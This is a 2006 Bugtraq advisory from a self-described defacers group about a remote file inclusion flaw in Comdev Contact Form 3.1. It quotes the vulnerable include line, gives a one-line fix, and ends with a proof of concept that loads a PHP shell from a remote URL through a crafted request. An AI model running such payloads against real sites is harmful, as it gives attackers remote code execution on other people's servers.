[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060927190653.32404.qmail@securityfocus.com>
Date: 27 Sep 2006 19:06:53 -0000
From: stormhacker@...mail.com
To: bugtraq@...urityfocus.com
Subject: Comdev Contact Form 3.1 :) <= Remote File Inclusion
+--------------------------------------------------------------------
+
+ Comdev Contact Form 3.1 :) <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: Comdev Contact Form 3.1
+ Venedor ...........: http://www.comdevweb.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: rUnViRuS
+ Original advisory .: http://www.wdzone.net/ http://www.worlddefacers.de/
+ Contact ...........: stormhacker[at]hotmail[.]com
+
+--------------------------------------------------------------------
+
+ Code include.php:
+
+ .....
+ include($path["docroot"]."common/wce.login.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $path["docroot"] is not properly sanitized before being used.
+ The bug is in the "Comdev CSV Importer" Package for Comdev CSV Importer.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Add this line to your php-file:
+
+ $path["docroot"] ="user/dir" //Your root path
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://wdzone.net/sh.txt?
+
+
+ http://[target]/include.php?path["docroot"]=http://phpshell
+
+--------------------------------------------------------------------
+ [W]orld [D]efacers [T]eam
+ Greets:
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BLaCKWHITE ||
+ || Pro Hacker ||
+
+-------------------------[ W D T ]----------------------------------
Powered by blists - more mailing lists